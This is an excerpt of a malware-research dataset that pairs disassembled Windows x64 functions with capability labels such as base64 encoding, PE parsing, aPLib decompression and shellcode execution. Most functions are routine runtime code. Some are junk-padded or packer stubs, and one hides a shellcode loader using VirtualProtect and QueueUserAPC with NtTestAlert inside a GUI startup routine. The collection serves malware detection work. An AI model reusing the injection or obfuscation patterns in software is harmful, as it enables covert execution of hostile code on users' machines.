joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1404e121f
Capabilities:
Encode data using base64
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
movzx eax, dx
mov qword [rsp + 0x18], rbp
cwde
bswap eax
push rsi
movzx rax, si
push rdi
push r12
movsx rax, r10w
mov ax, r12w
cdqe
push r14
push r15
cmovp eax, r10d
setbe al
jmp 0x1404e1251
mov eax, 0x1470
jmp 0x1404e125b
call fcn.14044d420
sub rsp, rax
stc
btc r12, 0xf4
mov rax, qword [0x1400b7288]
xor rax, rsp
mov qword [rsp + 0x1460], rax
rol dil, 5
xor bh, 0x3d
or r15b, r11b
movsxd r10, edx
cmc
bsf r14w, r13w
mov rbx, rcx
cdqe
mov rax, r10
mov r14d, r9d
rol r15, 0x33
sub r15b, r14b
sar rax, 6
setnp r15b
lea rcx, [0x1400ba940]
shl dx, 0xa3
xor r15b, al
stc
and r10d, 0x3f
btc r15d, 0xb8
movsx edx, r11w
cdq
lea r14, [r14 + r8]
bswap r12d
dec dh
mov r15, r8
neg dil
sbb dl, bpl
shr edi, 0x9a
mov rdi, r8
bsr edx, ebx
rol r12, 0xdf
mov rax, qword [rcx + rax*8]
lea rdx, [r10 + r10*8]
mov r12, qword [rax + rdx*8 + 0x28]
xor eax, eax
stc
mov qword [rbx], rax
cmp r8, r14
jmp 0x1404e12ff
mov dword [rbx + 8], eax
jmp 0x1404e1307
jae 0x1404e14a0
lea rax, [rsp + 0x50]
test dl, r14b
test cx, 0x636b
cmp rdi, r14
jmp 0x1404e1322
jae 0x1404e1385
movzx ecx, word [rdi]
add rdi, 2
cmp cx, 0xa
jmp 0x1404e1338
jne 0x1404e135a
mov edx, 0xd
cmp r15w, cx
cmp r10, 0x222c7337
mov word [rax], dx
test bx, 0x5d87
add rax, 2
mov word [rax], cx
add rax, 2
movsx cx, spl
lea rcx, [rsp + 0x6f8]
cmp r9w, 0x77b5
cmp rax, r9
cmp rax, rcx
jmp 0x1404e137f
jb 0x1404e131a
and qword [rsp + 0x38], 0
mov cl, r15b
lea rcx, [rsp + 0x50]
rcr r8b, cl
and qword [rsp + 0x30], 0
and r8w, 0x929
add r9b, 0x26
lea r8, [rsp + 0x50]
sub r9w, r11w
and r9w, 0x7b2a
bsr r9w, bx
sub rax, rcx
bswap cx
mov dword [rsp + 0x28], 0xd55
rol ch, cl
lea rcx, [rsp + 0x700]
sar rax, 1
movsx r9, sp
mov qword [rsp + 0x20], rcx
mov r9w, r9w
test ebp, 0x45183e0d
mov r9d, eax
sbb cl, 0x9e
mov ecx, 0xfde9
cmp eax, 0x39e451cd
sub edx, edx
jmp 0x1404e13ff
call fcn.1404ce2ab
mov ebp, eax
cmc
test eax, eax
je 0x1404e1495
xor esi, esi
cmp r8b, 0xee
test eax, eax
jmp 0x1404e141c
je 0x1404e1482
and qword [rsp + 0x20], 0
cmovae ecx, r8d
lea rdx, [rsp + 0x700]
movzx r8w, r14b
movsx r9w, r15b
btr r8w, r14w
mov ecx, esi
lea r9, [rsp + 0x40]
mov r8d, ebp
cmc
lea rdx, [rdx + rcx]
mov rcx, r12
clc
sub r8d, esi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jmp 0x1404e1466
je 0x1404e1495
add esi, dword [rsp + 0x40]
jmp 0x1404e1475
cmp esi, ebp
jmp 0x1404e147c
jb 0x1404e1422
mov eax, edi
cmp r12b, cl
sub eax, r15d
mov dword [rbx + 4], eax
cmp rdi, r14
jmp 0x1404e1307
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx], eax
rcr ah, 0xc7
mov rax, rbx
btr cx, r13w
mov rcx, qword [rsp + 0x1460]
clc
xor rcx, rsp
jmp 0x1404e14b9
call fcn.1404a4949
lea r11, [rsp + 0x1470]
mov bp, ax
xchg r12b, sil
mov rbx, qword [r11 + 0x30]
bswap edi
mov rbp, qword [r11 + 0x40]
not r14d
movsxd r12, edx
cmovnp rdi, r14
mov rsp, r11
setg r12b
movzx r12w, bl
cmovns r14d, r8d
pop r15
pop r14
bswap r12d
xchg r12b, sil
cmovae di, bx
pop r12
pop rdi
movzx si, sil
movsx esi, ax
pop rsi
ret
Function at 0x1404e49be
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
add rdx, rbx
mov rbx, rcx
lea r9, [0x1400c8e90]
rcl dl, 0xf2
movsx r8, bp
sub ecx, ecx
bswap edx
cqo
mov dh, 0x98
lea r8, [0x1400c8e88]
not rdx
jmp 0x1404e49f0
lea rdx, [0x1400cfb70]
jmp 0x1404e49fc
call fcn.1404e4cc0
test rax, rax
jmp 0x1404e4a09
je 0x1404e4a23
mov rcx, rbx
add rsp, 0x20
cmovp bx, r13w
pop rbx
push qword [0x1400b8d90]
ret
add rsp, 0x20
cmove bx, r8w
pop rbx
jmp 0x1404e4a32
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x1404e4ac0
Capabilities:
Get thread local storage value

Disassembly:
push rbx
bt bx, 0x17
bsf rbx, r8
sub rsp, 0x20
movsx ebx, r8w
mov ebx, ecx
movsx cx, r10b
lea r9, [0x1400c8ea0]
bswap dx
not cl
mov ecx, 2
movsx dx, r15b
cdq
lea r8, [0x1400c8e98]
lea rdx, [0x1400cf758]
jmp 0x1404e4b04
call fcn.1404e4cc0
mov ecx, ebx
cmc
test rax, rax
jmp 0x1404e4b14
je 0x1404e4b29
add rsp, 0x20
xchg rbx, rbx
pop rbx
push qword [0x1400b8d90]
ret
add rsp, 0x20
movzx rbx, dx
mov bh, 0x7a
pop rbx
jmp 0x1404e4b3a
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1404e4b41
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
movzx rbx, cx
push rdi
sal edi, cl
bts r8d, r14d
bsf r9, rdx
sub rsp, 0x20
mov r8b, 0x9e
mov rbx, rdx
cwd
lea r9, [0x1400c8ea8]
mov edi, ecx
movsx ecx, dx
cmovae edx, r8d
lea rdx, [0x1400cf748]
mov r8w, 0x17d
movzx r8d, r12w
mov ecx, 3
movsx r8, ax
setp r8b
lea r8, [0x1400c8ea0]
jmp 0x1404e4b9a
call fcn.1404e4cc0
mov rdx, rbx
sar cl, 0x3d
rcr cl, 0x22
bsf ecx, r10d
mov ecx, edi
test r10b, r8b
test rax, rax
jmp 0x1404e4bb9
je 0x1404e4bca
call qword [0x1400b8d90]
jmp 0x1404e4bd0
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
shl edi, cl
shrd di, r15w, 0x9d
add rsp, 0x20
cmovg di, r13w
movsx rdi, ax
mov dil, 0x37
pop rdi
jmp 0x1404e4bf3
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0xf0
mov rax, qword [0x140015008]
xor rax, rsp
mov qword [rsp + 0xe8], rax
mov esi, r9d
mov rdi, rcx
lea r9, [rsp + 0xe0]
mov edx, 0x114
lea rcx, [0x140015a00]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtTestAlert
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea rcx, [0x140015a00]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rbx
mov r9d, 0x64
lea r8, [0x140016ec0]
mov rcx, rdi
lea edx, [r9 + 3]
call qword [sym.imp.USER32.dll_LoadStringW]
xor ebp, ebp
mov dword [rsp + 0x60], 0x50
lea rax, [0x140001250]
mov dword [rsp + 0x64], 3
mov rcx, rdi
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rbp
lea edx, [rbp + 0x6b]
mov qword [rsp + 0x78], rdi
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0x80], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
movdqa xmm0, xmmword [0x140013350]
lea rbx, [0x140016df0]
mov rcx, qword [rsp + 0x78]
lea edx, [rbp + 0x6c]
movdqa xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0x88], rax
mov qword [rsp + 0xa0], rbx
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0xa8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [rsp + 0x58], rbp
lea r8, [0x140016ec0]
mov qword [rsp + 0x50], rdi
mov r9d, 0xcf0000
mov qword [rsp + 0x48], rbp
mov rdx, rbx
mov qword [rsp + 0x40], rbp
xor ecx, ecx
mov dword [rsp + 0x38], ebp
mov dword [rsp + 0x30], 0x80000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 0x80000000
mov qword [0x140016de0], rdi
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rbx, rax
test rax, rax
je 0x14000122a
mov edx, esi
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
lea edx, [rbp + 0x6d]
mov rcx, rdi
call qword [sym.imp.USER32.dll_LoadAcceleratorsW]
xor r9d, r9d
lea rcx, [rsp + 0xb0]
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140001223
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0xb0]
lea r8, [rsp + 0xb0]
mov rdx, rbx
call qword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x140001209
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0xb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x1400011d0
mov eax, dword [rsp + 0xc0]
mov rcx, qword [rsp + 0xe8]
xor rcx, rsp
call fcn.140001360
mov rbx, qword [rsp + 0x118]
add rsp, 0xf0
pop rdi
pop rsi
pop rbp
ret

Function at 0x140003a00
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000382c
Function at 0x14289bad0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14289badd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14289baed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14289bad5
lea eax, [rcx + 1]
jmp 0x14289bafb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14289bb0e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14289baf4
sub eax, 3
jb 0x14289bb2e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14289bb7d
sar eax, 1
movsxd rbp, eax
jb 0x14289bb64
jmp 0x14289bb3c
add ebx, ebx
jne 0x14289bb3a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14289bb64
inc ecx
add ebx, ebx
jne 0x14289bb4a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14289bb64
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14289bb5d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14289bb4c
add ecx, 2
jmp 0x14289bb69
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14289ba92
jmp 0x14289badd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xa200
mov dl, 6
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14289bbc9
cmp rsi, rcx
jae 0x14289bbd1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14289bbb0
cmp al, 0x8f
ja 0x14289bbb0
cmp byte [rsi - 2], 0xf
je 0x14289bbb6
sub al, 0xe8
cmp al, 1
ja 0x14289bb9a
cmp rsi, rcx
jae 0x14289bbd1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14289bba0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14289bbd1
lodsb al, byte [rsi]
jmp 0x14289bbb0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x2899000]
mov eax, dword [rdi]
or eax, eax
je 0x14289bc2e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x289be80]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14289bbde
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14289bc28
mov qword [rbx], rax
add rbx, 8
jmp 0x14289bbfe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14289bc68
cmp al, 0xef
ja 0x14289bc5a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14289bc3a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14289bc49
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14289bce7], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14289bce7
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14289bcd7
sub rsp, 0xffffffffffffff80
jmp 0x140001125
Function at 0x140d7b058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140d7b1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140d7b089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d7b06f
add dl, dl
jne 0x140d7b096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d7b0f6
xor eax, eax
add dl, dl
jne 0x140d7b0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d7b1ad
add dl, dl
jne 0x140d7b0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d7b0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d7b0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d7b0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140d7b0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140d7b07e
mov eax, 1
add dl, dl
jne 0x140d7b106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d7b113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d7b0fb
sub eax, ebx
mov ebx, 1
jne 0x140d7b14c
mov ecx, 1
add dl, dl
jne 0x140d7b12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140d7b13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d7b123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d7b07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140d7b168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140d7b175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d7b15d
cmp eax, 0x7d00
jae 0x140d7b19b
cmp eax, 0x500
jb 0x140d7b196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d7b07e
cmp eax, 0x7f
ja 0x140d7b19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d7b07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140d7b1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140d7b07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002b50
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002b9a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002b9a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002b9a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002b9a
cmp dword [rcx + 0x84], 0xe
jbe 0x140002b9a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002b9c
xor al, al
add rsp, 0x28
ret
Function at 0x140019450
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r8, qword [0x140052d70]
mov eax, 0xffffffff
test edx, edx
je 0x140019514
mov r9d, edx
nop word [rax + rax]
movzx ecx, byte [r8]
lea r8, [r8 + 1]
xor eax, ecx
mov ecx, eax
and cl, 1
neg cl
sbb edx, edx
shr eax, 1
and edx, 0xedb88320
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb eax, eax
shr edx, 1
and eax, 0xedb88320
xor eax, edx
sub r9, 1
jne 0x140019470
not eax
ret
Function at 0x14001f608
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001f652
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001f652
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001f652
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001f652
cmp dword [rcx + 0x84], 0xe
jbe 0x14001f652
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001f654
xor al, al
add rsp, 0x28
ret

Function at 0x140023008
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140022e73
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140022e73
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140022e73
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140022e73
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140022e73
cmp dword [rcx + 0x84], 0xe
jbe 0x140022e73
cmp dword [rcx + 0xf8], 0
je 0x140022e73
mov ecx, ebx
call fcn.140022f24
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140022d00
nop
cmp dword [rbp + 0x20], 0
je 0x140022ec1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140022ecc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140022e04
Function at 0x1400348c4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400348f4
xor eax, eax
jmp 0x1400349b7
mov rbp, rbx
cmp word [rax], si
je 0x140034919
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140034900
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400348fc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400347e4
movsxd r14, eax
test eax, eax
jne 0x140034957
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400348ed
mov rcx, r14
call fcn.140031b10
mov rdi, rax
test rax, rax
jne 0x140034970
xor ecx, ecx
call fcn.14002fd64
jmp 0x14003494c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400347e4
test eax, eax
jne 0x1400349a1
mov rcx, rdi
call fcn.14002fd64
jmp 0x1400349ab
xor ecx, ecx
call fcn.14002fd64
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400349d4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140034a5b
mov rsi, rbx
cmp word [rax], bp
je 0x140034a1a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140034a04
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140034a00
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140031b10
mov rdi, rax
test rax, rax
je 0x140034a48
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140020d90
mov rbp, rdi
xor ecx, ecx
call fcn.14002fd64
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140038a18
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140038a2e
mov al, 1
jmp 0x140038a8e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140038a3f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140038a8c
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400355c0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140038a8c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140038a8c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140038a8c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140038a8e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14003a034
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140025c58
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14003a0be
cmp byte [rbp - 0x21], r15b
je 0x14003a0b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14003a0f4
call fcn.14002ffb4
test eax, eax
jne 0x14003a0e0
cmp byte [rbp - 0x21], r15b
je 0x14003a0d8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14003a0f4
cmp byte [rbp - 0x21], r15b
je 0x14003a0f1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400335b4
test eax, eax
jne 0x14003a194
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140025c58
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14003a133
cmp byte [rbp - 0x21], r15b
je 0x14003a168
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14003a168
call fcn.14002ffb4
test eax, eax
jne 0x14003a154
cmp byte [rbp - 0x21], r15b
je 0x14003a14d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14003a168
cmp byte [rbp - 0x21], r15b
je 0x14003a165
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400335b4
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14003a194
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14003a197
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14003a1a5
mov rcx, rdi
call fcn.14002fd64
cmp byte [rbp + 0x3f], r15b
je 0x14003a1b4
mov rcx, qword [rbp + 0x27]
call fcn.14002fd64
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x14003b5b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003b5d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14003b5d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret